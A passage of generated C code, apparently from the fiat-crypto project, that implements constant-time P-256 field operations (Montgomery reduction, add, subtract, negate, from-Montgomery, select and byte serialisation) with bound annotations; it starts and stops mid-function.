fiat_p256_uint1 x94;
fiat_p256_addcarryx_u64(&x93, &x94, x92, x83, x69);
uint64_t x95;
fiat_p256_uint1 x96;
fiat_p256_addcarryx_u64(&x95, &x96, x94, x85, x71);
uint64_t x97;
fiat_p256_uint1 x98;
fiat_p256_addcarryx_u64(&x97, &x98, x96, 0x0, x72);
uint64_t x99;
uint64_t x100;
fiat_p256_mulx_u64(&x99, &x100, x2, (arg1[3]));
uint64_t x101;
uint64_t x102;
fiat_p256_mulx_u64(&x101, &x102, x2, (arg1[2]));
uint64_t x103;
uint64_t x104;
fiat_p256_mulx_u64(&x103, &x104, x2, (arg1[1]));
uint64_t x105;
uint64_t x106;
fiat_p256_mulx_u64(&x105, &x106, x2, (arg1[0]));
uint64_t x107;
fiat_p256_uint1 x108;
fiat_p256_addcarryx_u64(&x107, &x108, 0x0, x103, x106);
uint64_t x109;
fiat_p256_uint1 x110;
fiat_p256_addcarryx_u64(&x109, &x110, x108, x101, x104);
uint64_t x111;
fiat_p256_uint1 x112;
fiat_p256_addcarryx_u64(&x111, &x112, x110, x99, x102);
uint64_t x113;
fiat_p256_uint1 x114;
fiat_p256_addcarryx_u64(&x113, &x114, x112, 0x0, x100);
uint64_t x115;
fiat_p256_uint1 x116;
fiat_p256_addcarryx_u64(&x115, &x116, 0x0, x105, x89);
uint64_t x117;
fiat_p256_uint1 x118;
fiat_p256_addcarryx_u64(&x117, &x118, x116, x107, x91);
uint64_t x119;
fiat_p256_uint1 x120;
fiat_p256_addcarryx_u64(&x119, &x120, x118, x109, x93);
uint64_t x121;
fiat_p256_uint1 x122;
fiat_p256_addcarryx_u64(&x121, &x122, x120, x111, x95);
uint64_t x123;
fiat_p256_uint1 x124;
fiat_p256_addcarryx_u64(&x123, &x124, x122, x113, x97);
uint64_t x125;
uint64_t x126;
fiat_p256_mulx_u64(&x125, &x126, x115, UINT64_C(0xffffffff00000001));
uint64_t x127;
uint64_t x128;
fiat_p256_mulx_u64(&x127, &x128, x115, UINT32_C(0xffffffff));
uint64_t x129;
uint64_t x130;
fiat_p256_mulx_u64(&x129, &x130, x115, UINT64_C(0xffffffffffffffff));
uint64_t x131;
fiat_p256_uint1 x132;
fiat_p256_addcarryx_u64(&x131, &x132, 0x0, x127, x130);
uint64_t x133;
fiat_p256_uint1 x134;
fiat_p256_addcarryx_u64(&x133, &x134, x132, 0x0, x128);
uint64_t x135;
fiat_p256_uint1 x136;
fiat_p256_addcarryx_u64(&x135, &x136, x134, x125, 0x0);
uint64_t x137;
fiat_p256_uint1 x138;
fiat_p256_addcarryx_u64(&x137, &x138, x136, 0x0, x126);
uint64_t x139;
fiat_p256_uint1 x140;
fiat_p256_addcarryx_u64(&x139, &x140, 0x0, x129, x115);
uint64_t x141;
fiat_p256_uint1 x142;
fiat_p256_addcarryx_u64(&x141, &x142, x140, x131, x117);
uint64_t x143;
fiat_p256_uint1 x144;
fiat_p256_addcarryx_u64(&x143, &x144, x142, x133, x119);
uint64_t x145;
fiat_p256_uint1 x146;
fiat_p256_addcarryx_u64(&x145, &x146, x144, x135, x121);
uint64_t x147;
fiat_p256_uint1 x148;
fiat_p256_addcarryx_u64(&x147, &x148, x146, x137, x123);
uint64_t x149;
fiat_p256_uint1 x150;
fiat_p256_addcarryx_u64(&x149, &x150, x148, 0x0, x124);
uint64_t x151;
uint64_t x152;
fiat_p256_mulx_u64(&x151, &x152, x3, (arg1[3]));
uint64_t x153;
uint64_t x154;
fiat_p256_mulx_u64(&x153, &x154, x3, (arg1[2]));
uint64_t x155;
uint64_t x156;
fiat_p256_mulx_u64(&x155, &x156, x3, (arg1[1]));
uint64_t x157;
uint64_t x158;
fiat_p256_mulx_u64(&x157, &x158, x3, (arg1[0]));
uint64_t x159;
fiat_p256_uint1 x160;
fiat_p256_addcarryx_u64(&x159, &x160, 0x0, x155, x158);
uint64_t x161;
fiat_p256_uint1 x162;
fiat_p256_addcarryx_u64(&x161, &x162, x160, x153, x156);
uint64_t x163;
fiat_p256_uint1 x164;
fiat_p256_addcarryx_u64(&x163, &x164, x162, x151, x154);
uint64_t x165;
fiat_p256_uint1 x166;
fiat_p256_addcarryx_u64(&x165, &x166, x164, 0x0, x152);
uint64_t x167;
fiat_p256_uint1 x168;
fiat_p256_addcarryx_u64(&x167, &x168, 0x0, x157, x141);
uint64_t x169;
fiat_p256_uint1 x170;
fiat_p256_addcarryx_u64(&x169, &x170, x168, x159, x143);
uint64_t x171;
fiat_p256_uint1 x172;
fiat_p256_addcarryx_u64(&x171, &x172, x170, x161, x145);
uint64_t x173;
fiat_p256_uint1 x174;
fiat_p256_addcarryx_u64(&x173, &x174, x172, x163, x147);
uint64_t x175;
fiat_p256_uint1 x176;
fiat_p256_addcarryx_u64(&x175, &x176, x174, x165, x149);
uint64_t x177;
uint64_t x178;
fiat_p256_mulx_u64(&x177, &x178, x167, UINT64_C(0xffffffff00000001));
uint64_t x179;
uint64_t x180;
fiat_p256_mulx_u64(&x179, &x180, x167, UINT32_C(0xffffffff));
uint64_t x181;
uint64_t x182;
fiat_p256_mulx_u64(&x181, &x182, x167, UINT64_C(0xffffffffffffffff));
uint64_t x183;
fiat_p256_uint1 x184;
fiat_p256_addcarryx_u64(&x183, &x184, 0x0, x179, x182);
uint64_t x185;
fiat_p256_uint1 x186;
fiat_p256_addcarryx_u64(&x185, &x186, x184, 0x0, x180);
uint64_t x187;
fiat_p256_uint1 x188;
fiat_p256_addcarryx_u64(&x187, &x188, x186, x177, 0x0);
uint64_t x189;
fiat_p256_uint1 x190;
fiat_p256_addcarryx_u64(&x189, &x190, x188, 0x0, x178);
uint64_t x191;
fiat_p256_uint1 x192;
fiat_p256_addcarryx_u64(&x191, &x192, 0x0, x181, x167);
uint64_t x193;
fiat_p256_uint1 x194;
fiat_p256_addcarryx_u64(&x193, &x194, x192, x183, x169);
uint64_t x195;
fiat_p256_uint1 x196;
fiat_p256_addcarryx_u64(&x195, &x196, x194, x185, x171);
uint64_t x197;
fiat_p256_uint1 x198;
fiat_p256_addcarryx_u64(&x197, &x198, x196, x187, x173);
uint64_t x199;
fiat_p256_uint1 x200;
fiat_p256_addcarryx_u64(&x199, &x200, x198, x189, x175);
uint64_t x201;
fiat_p256_uint1 x202;
fiat_p256_addcarryx_u64(&x201, &x202, x200, 0x0, x176);
uint64_t x203;
fiat_p256_uint1 x204;
fiat_p256_subborrowx_u64(&x203, &x204, 0x0, x193, UINT64_C(0xffffffffffffffff));
uint64_t x205;
fiat_p256_uint1 x206;
fiat_p256_subborrowx_u64(&x205, &x206, x204, x195, UINT32_C(0xffffffff));
uint64_t x207;
fiat_p256_uint1 x208;
fiat_p256_subborrowx_u64(&x207, &x208, x206, x197, 0x0);
uint64_t x209;
fiat_p256_uint1 x210;
fiat_p256_subborrowx_u64(&x209, &x210, x208, x199, UINT64_C(0xffffffff00000001));
uint64_t x211;
fiat_p256_uint1 x212;
fiat_p256_subborrowx_u64(&x211, &x212, x210, x201, 0x0);
uint64_t x213;
fiat_p256_cmovznz_u64(&x213, x212, x203, x193);
uint64_t x214;
fiat_p256_cmovznz_u64(&x214, x212, x205, x195);
uint64_t x215;
fiat_p256_cmovznz_u64(&x215, x212, x207, x197);
uint64_t x216;
fiat_p256_cmovznz_u64(&x216, x212, x209, x199);
out1[0] = x213;
out1[1] = x214;
out1[2] = x215;
out1[3] = x216;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_add(uint64_t out1[4], const uint64_t arg1[4], const uint64_t arg2[4]) {
uint64_t x1;
fiat_p256_uint1 x2;
fiat_p256_addcarryx_u64(&x1, &x2, 0x0, (arg2[0]), (arg1[0]));
uint64_t x3;
fiat_p256_uint1 x4;
fiat_p256_addcarryx_u64(&x3, &x4, x2, (arg2[1]), (arg1[1]));
uint64_t x5;
fiat_p256_uint1 x6;
fiat_p256_addcarryx_u64(&x5, &x6, x4, (arg2[2]), (arg1[2]));
uint64_t x7;
fiat_p256_uint1 x8;
fiat_p256_addcarryx_u64(&x7, &x8, x6, (arg2[3]), (arg1[3]));
uint64_t x9;
fiat_p256_uint1 x10;
fiat_p256_subborrowx_u64(&x9, &x10, 0x0, x1, UINT64_C(0xffffffffffffffff));
uint64_t x11;
fiat_p256_uint1 x12;
fiat_p256_subborrowx_u64(&x11, &x12, x10, x3, UINT32_C(0xffffffff));
uint64_t x13;
fiat_p256_uint1 x14;
fiat_p256_subborrowx_u64(&x13, &x14, x12, x5, 0x0);
uint64_t x15;
fiat_p256_uint1 x16;
fiat_p256_subborrowx_u64(&x15, &x16, x14, x7, UINT64_C(0xffffffff00000001));
uint64_t x17;
fiat_p256_uint1 x18;
fiat_p256_subborrowx_u64(&x17, &x18, x16, x8, 0x0);
uint64_t x19;
fiat_p256_cmovznz_u64(&x19, x18, x9, x1);
uint64_t x20;
fiat_p256_cmovznz_u64(&x20, x18, x11, x3);
uint64_t x21;
fiat_p256_cmovznz_u64(&x21, x18, x13, x5);
uint64_t x22;
fiat_p256_cmovznz_u64(&x22, x18, x15, x7);
out1[0] = x19;
out1[1] = x20;
out1[2] = x21;
out1[3] = x22;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_sub(uint64_t out1[4], const uint64_t arg1[4], const uint64_t arg2[4]) {
uint64_t x1;
fiat_p256_uint1 x2;
fiat_p256_subborrowx_u64(&x1, &x2, 0x0, (arg1[0]), (arg2[0]));
uint64_t x3;
fiat_p256_uint1 x4;
fiat_p256_subborrowx_u64(&x3, &x4, x2, (arg1[1]), (arg2[1]));
uint64_t x5;
fiat_p256_uint1 x6;
fiat_p256_subborrowx_u64(&x5, &x6, x4, (arg1[2]), (arg2[2]));
uint64_t x7;
fiat_p256_uint1 x8;
fiat_p256_subborrowx_u64(&x7, &x8, x6, (arg1[3]), (arg2[3]));
uint64_t x9;
fiat_p256_cmovznz_u64(&x9, x8, 0x0, UINT64_C(0xffffffffffffffff));
uint64_t x10;
fiat_p256_uint1 x11;
fiat_p256_addcarryx_u64(&x10, &x11, 0x0, (x9 & UINT64_C(0xffffffffffffffff)), x1);
uint64_t x12;
fiat_p256_uint1 x13;
fiat_p256_addcarryx_u64(&x12, &x13, x11, (x9 & UINT32_C(0xffffffff)), x3);
uint64_t x14;
fiat_p256_uint1 x15;
fiat_p256_addcarryx_u64(&x14, &x15, x13, 0x0, x5);
uint64_t x16;
fiat_p256_uint1 x17;
fiat_p256_addcarryx_u64(&x16, &x17, x15, (x9 & UINT64_C(0xffffffff00000001)), x7);
out1[0] = x10;
out1[1] = x12;
out1[2] = x14;
out1[3] = x16;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_opp(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1;
fiat_p256_uint1 x2;
fiat_p256_subborrowx_u64(&x1, &x2, 0x0, 0x0, (arg1[0]));
uint64_t x3;
fiat_p256_uint1 x4;
fiat_p256_subborrowx_u64(&x3, &x4, x2, 0x0, (arg1[1]));
uint64_t x5;
fiat_p256_uint1 x6;
fiat_p256_subborrowx_u64(&x5, &x6, x4, 0x0, (arg1[2]));
uint64_t x7;
fiat_p256_uint1 x8;
fiat_p256_subborrowx_u64(&x7, &x8, x6, 0x0, (arg1[3]));
uint64_t x9;
fiat_p256_cmovznz_u64(&x9, x8, 0x0, UINT64_C(0xffffffffffffffff));
uint64_t x10;
fiat_p256_uint1 x11;
fiat_p256_addcarryx_u64(&x10, &x11, 0x0, (x9 & UINT64_C(0xffffffffffffffff)), x1);
uint64_t x12;
fiat_p256_uint1 x13;
fiat_p256_addcarryx_u64(&x12, &x13, x11, (x9 & UINT32_C(0xffffffff)), x3);
uint64_t x14;
fiat_p256_uint1 x15;
fiat_p256_addcarryx_u64(&x14, &x15, x13, 0x0, x5);
uint64_t x16;
fiat_p256_uint1 x17;
fiat_p256_addcarryx_u64(&x16, &x17, x15, (x9 & UINT64_C(0xffffffff00000001)), x7);
out1[0] = x10;
out1[1] = x12;
out1[2] = x14;
out1[3] = x16;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_from_montgomery(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[0]);
uint64_t x2;
uint64_t x3;
fiat_p256_mulx_u64(&x2, &x3, x1, UINT64_C(0xffffffff00000001));
uint64_t x4;
uint64_t x5;
fiat_p256_mulx_u64(&x4, &x5, x1, UINT32_C(0xffffffff));
uint64_t x6;
uint64_t x7;
fiat_p256_mulx_u64(&x6, &x7, x1, UINT64_C(0xffffffffffffffff));
uint64_t x8;
fiat_p256_uint1 x9;
fiat_p256_addcarryx_u64(&x8, &x9, 0x0, x4, x7);
uint64_t x10;
fiat_p256_uint1 x11;
fiat_p256_addcarryx_u64(&x10, &x11, x9, 0x0, x5);
uint64_t x12;
fiat_p256_uint1 x13;
fiat_p256_addcarryx_u64(&x12, &x13, x11, x2, 0x0);
uint64_t x14;
fiat_p256_uint1 x15;
fiat_p256_addcarryx_u64(&x14, &x15, 0x0, x6, x1);
uint64_t x16;
fiat_p256_uint1 x17;
fiat_p256_addcarryx_u64(&x16, &x17, x15, x8, 0x0);
uint64_t x18;
fiat_p256_uint1 x19;
fiat_p256_addcarryx_u64(&x18, &x19, x17, x10, 0x0);
uint64_t x20;
fiat_p256_uint1 x21;
fiat_p256_addcarryx_u64(&x20, &x21, x19, x12, 0x0);
uint64_t x22;
fiat_p256_uint1 x23;
fiat_p256_addcarryx_u64(&x22, &x23, x13, 0x0, x3);
uint64_t x24;
fiat_p256_uint1 x25;
fiat_p256_addcarryx_u64(&x24, &x25, x21, x22, 0x0);
uint64_t x26;
fiat_p256_uint1 x27;
fiat_p256_addcarryx_u64(&x26, &x27, 0x0, (arg1[1]), x16);
uint64_t x28;
fiat_p256_uint1 x29;
fiat_p256_addcarryx_u64(&x28, &x29, x27, 0x0, x18);
uint64_t x30;
fiat_p256_uint1 x31;
fiat_p256_addcarryx_u64(&x30, &x31, x29, 0x0, x20);
uint64_t x32;
fiat_p256_uint1 x33;
fiat_p256_addcarryx_u64(&x32, &x33, x31, 0x0, x24);
uint64_t x34;
fiat_p256_uint1 x35;
fiat_p256_addcarryx_u64(&x34, &x35, x25, 0x0, 0x0);
uint64_t x36;
fiat_p256_uint1 x37;
fiat_p256_addcarryx_u64(&x36, &x37, x33, 0x0, (fiat_p256_uint1)x34);
uint64_t x38;
uint64_t x39;
fiat_p256_mulx_u64(&x38, &x39, x26, UINT64_C(0xffffffff00000001));
uint64_t x40;
uint64_t x41;
fiat_p256_mulx_u64(&x40, &x41, x26, UINT32_C(0xffffffff));
uint64_t x42;
uint64_t x43;
fiat_p256_mulx_u64(&x42, &x43, x26, UINT64_C(0xffffffffffffffff));
uint64_t x44;
fiat_p256_uint1 x45;
fiat_p256_addcarryx_u64(&x44, &x45, 0x0, x40, x43);
uint64_t x46;
fiat_p256_uint1 x47;
fiat_p256_addcarryx_u64(&x46, &x47, x45, 0x0, x41);
uint64_t x48;
fiat_p256_uint1 x49;
fiat_p256_addcarryx_u64(&x48, &x49, x47, x38, 0x0);
uint64_t x50;
fiat_p256_uint1 x51;
fiat_p256_addcarryx_u64(&x50, &x51, 0x0, x42, x26);
uint64_t x52;
fiat_p256_uint1 x53;
fiat_p256_addcarryx_u64(&x52, &x53, x51, x44, x28);
uint64_t x54;
fiat_p256_uint1 x55;
fiat_p256_addcarryx_u64(&x54, &x55, x53, x46, x30);
uint64_t x56;
fiat_p256_uint1 x57;
fiat_p256_addcarryx_u64(&x56, &x57, x55, x48, x32);
uint64_t x58;
fiat_p256_uint1 x59;
fiat_p256_addcarryx_u64(&x58, &x59, x49, 0x0, x39);
uint64_t x60;
fiat_p256_uint1 x61;
fiat_p256_addcarryx_u64(&x60, &x61, x57, x58, (fiat_p256_uint1)x36);
uint64_t x62;
fiat_p256_uint1 x63;
fiat_p256_addcarryx_u64(&x62, &x63, 0x0, (arg1[2]), x52);
uint64_t x64;
fiat_p256_uint1 x65;
fiat_p256_addcarryx_u64(&x64, &x65, x63, 0x0, x54);
uint64_t x66;
fiat_p256_uint1 x67;
fiat_p256_addcarryx_u64(&x66, &x67, x65, 0x0, x56);
uint64_t x68;
fiat_p256_uint1 x69;
fiat_p256_addcarryx_u64(&x68, &x69, x67, 0x0, x60);
uint64_t x70;
fiat_p256_uint1 x71;
fiat_p256_addcarryx_u64(&x70, &x71, x61, 0x0, x37);
uint64_t x72;
fiat_p256_uint1 x73;
fiat_p256_addcarryx_u64(&x72, &x73, x69, 0x0, (fiat_p256_uint1)x70);
uint64_t x74;
uint64_t x75;
fiat_p256_mulx_u64(&x74, &x75, x62, UINT64_C(0xffffffff00000001));
uint64_t x76;
uint64_t x77;
fiat_p256_mulx_u64(&x76, &x77, x62, UINT32_C(0xffffffff));
uint64_t x78;
uint64_t x79;
fiat_p256_mulx_u64(&x78, &x79, x62, UINT64_C(0xffffffffffffffff));
uint64_t x80;
fiat_p256_uint1 x81;
fiat_p256_addcarryx_u64(&x80, &x81, 0x0, x76, x79);
uint64_t x82;
fiat_p256_uint1 x83;
fiat_p256_addcarryx_u64(&x82, &x83, x81, 0x0, x77);
uint64_t x84;
fiat_p256_uint1 x85;
fiat_p256_addcarryx_u64(&x84, &x85, x83, x74, 0x0);
uint64_t x86;
fiat_p256_uint1 x87;
fiat_p256_addcarryx_u64(&x86, &x87, 0x0, x78, x62);
uint64_t x88;
fiat_p256_uint1 x89;
fiat_p256_addcarryx_u64(&x88, &x89, x87, x80, x64);
uint64_t x90;
fiat_p256_uint1 x91;
fiat_p256_addcarryx_u64(&x90, &x91, x89, x82, x66);
uint64_t x92;
fiat_p256_uint1 x93;
fiat_p256_addcarryx_u64(&x92, &x93, x91, x84, x68);
uint64_t x94;
fiat_p256_uint1 x95;
fiat_p256_addcarryx_u64(&x94, &x95, x85, 0x0, x75);
uint64_t x96;
fiat_p256_uint1 x97;
fiat_p256_addcarryx_u64(&x96, &x97, x93, x94, (fiat_p256_uint1)x72);
uint64_t x98;
fiat_p256_uint1 x99;
fiat_p256_addcarryx_u64(&x98, &x99, 0x0, (arg1[3]), x88);
uint64_t x100;
fiat_p256_uint1 x101;
fiat_p256_addcarryx_u64(&x100, &x101, x99, 0x0, x90);
uint64_t x102;
fiat_p256_uint1 x103;
fiat_p256_addcarryx_u64(&x102, &x103, x101, 0x0, x92);
uint64_t x104;
fiat_p256_uint1 x105;
fiat_p256_addcarryx_u64(&x104, &x105, x103, 0x0, x96);
uint64_t x106;
fiat_p256_uint1 x107;
fiat_p256_addcarryx_u64(&x106, &x107, x97, 0x0, x73);
uint64_t x108;
fiat_p256_uint1 x109;
fiat_p256_addcarryx_u64(&x108, &x109, x105, 0x0, (fiat_p256_uint1)x106);
uint64_t x110;
uint64_t x111;
fiat_p256_mulx_u64(&x110, &x111, x98, UINT64_C(0xffffffff00000001));
uint64_t x112;
uint64_t x113;
fiat_p256_mulx_u64(&x112, &x113, x98, UINT32_C(0xffffffff));
uint64_t x114;
uint64_t x115;
fiat_p256_mulx_u64(&x114, &x115, x98, UINT64_C(0xffffffffffffffff));
uint64_t x116;
fiat_p256_uint1 x117;
fiat_p256_addcarryx_u64(&x116, &x117, 0x0, x112, x115);
uint64_t x118;
fiat_p256_uint1 x119;
fiat_p256_addcarryx_u64(&x118, &x119, x117, 0x0, x113);
uint64_t x120;
fiat_p256_uint1 x121;
fiat_p256_addcarryx_u64(&x120, &x121, x119, x110, 0x0);
uint64_t x122;
fiat_p256_uint1 x123;
fiat_p256_addcarryx_u64(&x122, &x123, 0x0, x114, x98);
uint64_t x124;
fiat_p256_uint1 x125;
fiat_p256_addcarryx_u64(&x124, &x125, x123, x116, x100);
uint64_t x126;
fiat_p256_uint1 x127;
fiat_p256_addcarryx_u64(&x126, &x127, x125, x118, x102);
uint64_t x128;
fiat_p256_uint1 x129;
fiat_p256_addcarryx_u64(&x128, &x129, x127, x120, x104);
uint64_t x130;
fiat_p256_uint1 x131;
fiat_p256_addcarryx_u64(&x130, &x131, x121, 0x0, x111);
uint64_t x132;
fiat_p256_uint1 x133;
fiat_p256_addcarryx_u64(&x132, &x133, x129, x130, (fiat_p256_uint1)x108);
uint64_t x134;
fiat_p256_uint1 x135;
fiat_p256_subborrowx_u64(&x134, &x135, 0x0, x124, UINT64_C(0xffffffffffffffff));
uint64_t x136;
fiat_p256_uint1 x137;
fiat_p256_subborrowx_u64(&x136, &x137, x135, x126, UINT32_C(0xffffffff));
uint64_t x138;
fiat_p256_uint1 x139;
fiat_p256_subborrowx_u64(&x138, &x139, x137, x128, 0x0);
uint64_t x140;
fiat_p256_uint1 x141;
fiat_p256_subborrowx_u64(&x140, &x141, x139, x132, UINT64_C(0xffffffff00000001));
uint64_t x142;
fiat_p256_uint1 x143;
fiat_p256_addcarryx_u64(&x142, &x143, x133, 0x0, x109);
uint64_t x144;
fiat_p256_uint1 x145;
fiat_p256_subborrowx_u64(&x144, &x145, x141, (fiat_p256_uint1)x142, 0x0);
uint64_t x146;
fiat_p256_cmovznz_u64(&x146, x145, x134, x124);
uint64_t x147;
fiat_p256_cmovznz_u64(&x147, x145, x136, x126);
uint64_t x148;
fiat_p256_cmovznz_u64(&x148, x145, x138, x128);
uint64_t x149;
fiat_p256_cmovznz_u64(&x149, x145, x140, x132);
out1[0] = x146;
out1[1] = x147;
out1[2] = x148;
out1[3] = x149;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
*/
static void fiat_p256_nonzero(uint64_t* out1, const uint64_t arg1[4]) {
uint64_t x1 = ((arg1[0]) | ((arg1[1]) | ((arg1[2]) | ((arg1[3]) | (uint64_t)0x0))));
*out1 = x1;
}
/*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg3: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_selectznz(uint64_t out1[4], fiat_p256_uint1 arg1, const uint64_t arg2[4], const uint64_t arg3[4]) {
uint64_t x1;
fiat_p256_cmovznz_u64(&x1, arg1, (arg2[0]), (arg3[0]));
uint64_t x2;
fiat_p256_cmovznz_u64(&x2, arg1, (arg2[1]), (arg3[1]));
uint64_t x3;
fiat_p256_cmovznz_u64(&x3, arg1, (arg2[2]), (arg3[2]));
uint64_t x4;
fiat_p256_cmovznz_u64(&x4, arg1, (arg2[3]), (arg3[3]));
out1[0] = x1;
out1[1] = x2;
out1[2] = x3;
out1[3] = x4;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]]
*/
static void fiat_p256_to_bytes(uint8_t out1[32], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[3]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[1]);
uint64_t x4 = (arg1[0]);
uint64_t x5 = (x4 >> 8);
uint8_t x6 = (uint8_t)(x4 & UINT8_C(0xff));
uint64_t x7 = (x5 >> 8);
uint8_t x8 = (uint8_t)(x5 & UINT8_C(0xff));
uint64_t x9 = (x7 >> 8);
uint8_t x10 = (uint8_t)(x7 & UINT8_C(0xff));
uint64_t x11 = (x9 >> 8);
uint8_t x12 = (uint8_t)(x9 & UINT8_C(0xff));
uint64_t x13 = (x11 >> 8);
uint8_t x14 = (uint8_t)(x11 & UINT8_C(0xff));
uint64_t x15 = (x13 >> 8);
uint8_t x16 = (uint8_t)(x13 & UINT8_C(0xff));
uint8_t x17 = (uint8_t)(x15 >> 8);
uint8_t x18 = (uint8_t)(x15 & UINT8_C(0xff));
fiat_p256_uint1 x19 = (fiat_p256_uint1)(x17 >> 8);
uint8_t x20 = (uint8_t)(x17 & UINT8_C(0xff));
uint64_t x21 = (x19 + x3);
uint64_t x22 = (x21 >> 8);
uint8_t x23 = (uint8_t)(x21 & UINT8_C(0xff));
uint64_t x24 = (x22 >> 8);
uint8_t x25 = (uint8_t)(x22 & UINT8_C(0xff));
uint64_t x26 = (x24 >> 8);
uint8_t x27 = (uint8_t)(x24 & UINT8_C(0xff));
uint64_t x28 = (x26 >> 8);
uint8_t x29 = (uint8_t)(x26 & UINT8_C(0xff));
uint64_t x30 = (x28 >> 8);
uint8_t x31 = (uint8_t)(x28 & UINT8_C(0xff));
uint64_t x32 = (x30 >> 8);
uint8_t x33 = (uint8_t)(x30 & UINT8_C(0xff));
uint8_t x34 = (uint8_t)(x32 >> 8);
uint8_t x35 = (uint8_t)(x32 & UINT8_C(0xff));
fiat_p256_uint1 x36 = (fiat_p256_uint1)(x34 >> 8);
uint8_t x37 = (uint8_t)(x34 & UINT8_C(0xff));
uint64_t x38 = (x36 + x2);
uint64_t x39 = (x38 >> 8);
uint8_t x40 = (uint8_t)(x38 & UINT8_C(0xff));
uint64_t x41 = (x39 >> 8);
uint8_t x42 = (uint8_t)(x39 & UINT8_C(0xff));
uint64_t x43 = (x41 >> 8);
uint8_t x44 = (uint8_t)(x41 & UINT8_C(0xff));
uint64_t x45 = (x43 >> 8);
uint8_t x46 = (uint8_t)(x43 & UINT8_C(0xff));
uint64_t x47 = (x45 >> 8);
uint8_t x48 = (uint8_t)(x45 & UINT8_C(0xff));
uint64_t x49 = (x47 >> 8);
uint8_t x50 = (uint8_t)(x47 & UINT8_C(0xff));
uint8_t x51 = (uint8_t)(x49 >> 8);
uint8_t x52 = (uint8_t)(x49 & UINT8_C(0xff));
fiat_p256_uint1 x53 = (fiat_p256_uint1)(x51 >> 8);
uint8_t x54 = (uint8_t)(x51 & UINT8_C(0xff));
uint64_t x55 = (x53 + x1);
uint64_t x56 = (x55 >> 8);
uint8_t x57 = (uint8_t)(x55 & UINT8_C(0xff));
uint64_t x58 = (x56 >> 8);
uint8_t x59 = (uint8_t)(x56 & UINT8_C(0xff));
uint64_t x60 = (x58 >> 8);
uint8_t x61 = (uint8_t)(x58 & UINT8_C(0xff));
uint64_t x62 = (x60 >> 8);
uint8_t x63 = (uint8_t)(x60 & UINT8_C(0xff));
uint64_t x64 = (x62 >> 8);
uint8_t x65 = (uint8_t)(x62 & UINT8_C(0xff));
uint64_t x66 = (x64 >> 8);
uint8_t x67 = (uint8_t)(x64 & UINT8_C(0xff));
uint8_t x68 = (uint8_t)(x66 >> 8);
uint8_t x69 = (uint8_t)(x66 & UINT8_C(0xff));
out1[0] = x6;
out1[1] = x8;
out1[2] = x10;
out1[3] = x12;
out1[4] = x14;
out1[5] = x16;
out1[6] = x18;
out1[7] = x20;
out1[8] = x23;
